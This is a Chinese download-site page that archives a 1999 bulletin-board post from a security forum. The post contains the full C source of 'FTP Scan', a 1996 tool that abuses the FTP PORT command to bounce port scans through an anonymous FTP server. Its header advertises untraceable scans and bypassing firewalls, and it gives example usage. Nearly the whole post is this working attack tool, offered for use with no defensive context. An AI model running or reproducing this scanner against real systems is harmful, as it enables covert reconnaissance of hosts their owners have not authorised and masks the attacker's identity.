⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 407.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="316.htm">上一层</a>][<a href="408.htm">下一篇</a>]
<hr><p align="left"><small>发信人: biff (大可), 信区: Security <br>

标  题: ftp scan <br>

发信站: 武汉白云黄鹤站 (Wed Jun  2 17:20:37 1999), 站内信件 <br>

  <br>

/* <br>

 * FTP Scan (C) 1996 Kit Knox <kit@connectnet.com> <br>

 * <br>

 * Exploits bug in FTP protocol that allows user to connect to arbritary <br>

 * IP address and port. <br>

 * <br>

 * Features: Untraceable port scans.  Bypass firewalls! <br>

 * <br>

 * Example usage: <br>

 * <br>

 * ftp-scan ftp.cdrom.com 127.0.0.1 0 1024 <br>

 * <br>

 * This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024 <br>

 * <br>

 */ <br>

  <br>

#include <stdio.h> <br>

#include <stdlib.h> <br>

#include <sys/param.h> <br>



#include <sys/socket.h> <br>

#include <netinet/in.h> <br>

#include <netdb.h> <br>

#include <stdarg.h> <br>

  <br>

int sock; <br>

char line[1024]; <br>

  <br>

void rconnect(char *server) <br>

{ <br>

  struct sockaddr_in sin; <br>

  struct hostent *hp; <br>

  <br>

  hp = gethostbyname(server); <br>

  if (hp==NULL) { <br>

    printf("Unknown host: %s\n",server); <br>

    exit(0); <br>

  } <br>

  bzero((char*) &sin, sizeof(sin)); <br>

  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); <br>

  sin.sin_family = hp->h_addrtype; <br>

  sin.sin_port = htons(21); <br>



  sock = socket(AF_INET, SOCK_STREAM, 0); <br>

  connect(sock,(struct sockaddr *) &sin, sizeof(sin)); <br>

} <br>

  <br>

void login(void) <br>

{ <br>

  char buf[1024]; <br>

  <br>

  sprintf(buf,"USER ftp\n"); <br>

  send(sock, buf, strlen(buf),0); <br>

  sleep(1); <br>

  sprintf(buf,"PASS user@\n"); <br>

  send(sock, buf, strlen(buf),0); <br>

} <br>

  <br>

void readln(void) <br>

{ <br>

  int i,done=0,w; <br>

  char tmp[1]; <br>

  <br>

  sprintf(line,""); <br>

  i = 0; <br>

  i = 0; <br>

  while (!done) { <br>

    w=read(sock,tmp, 1, 0); <br>

    if (tmp[0] != 0) { <br>

      line[i] = tmp[0]; <br>

    } <br>

    if (line[i] == '\n') { <br>

      done = 1; <br>

    } <br>

    i++; <br>

  } <br>

  line[i] = 0; <br>

} <br>

  <br>

void sendln(char s[1024]) { <br>

  send(sock, s, strlen(s),0); <br>

} <br>

  <br>

#define UC(b)   (((int)b)&0xff) <br>

  <br>

void main(int argc, char **argv) <br>

{ <br>

  char buf[1024]; <br>



  int i; <br>

  u_short sport,eport; <br>

  register char *p,*a; <br>

  struct hostent *hp; <br>

  struct sockaddr_in sin; <br>

  char adr[1024]; <br>

  <br>

  if (argc != 5) { <br>

    printf("usage: ftp-scan ftp_server scan_host loport hiport\n"); <br>

    exit(-1); <br>

  } <br>

  <br>

  hp = gethostbyname(argv[2]); <br>

  if (hp==NULL) { <br>

    printf("Unknown host: %s\n",argv[2]); <br>

    exit(0); <br>

  } <br>

  bzero((char*) &sin, sizeof(sin)); <br>

  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); <br>

  <br>

  rconnect(argv[1]); <br>

  /* Login anon to server */ <br>



  login(); <br>

  /* Make sure we are in */ <br>

  for (i=0; i<200; i++) { <br>

    readln(); <br>

    if (strstr(line,"230 Guest")) { <br>

      printf("%s",line); <br>

      i = 200; <br>

    } <br>

  } <br>

  a=(char *)&sin.sin_addr; <br>

  sport = atoi(argv[3]); <br>

  eport = atoi(argv[4]); <br>

  sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3])); <br>

  for (i=sport; i<eport; i++) { <br>

    sin.sin_port = htons(i); <br>

    p=(char *)&sin.sin_port; <br>

    sprintf(buf,"\nPORT %s,%i,%i\nLIST\n",adr,UC(p[0]),UC(p[1])); <br>

    sendln(buf); <br>

    sprintf(line,""); <br>

    while (!strstr(line, "150") && !strstr(line,"425")) { <br>

      readln(); <br>

    } <br>



    if (strstr(line,"150")) { <br>

      printf("%i connected.\n",i); <br>

    } <br>

  } <br>

  close(sock); <br>

} <br>

  <br>

-- <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="316.htm">上一层</a>][<a href="408.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -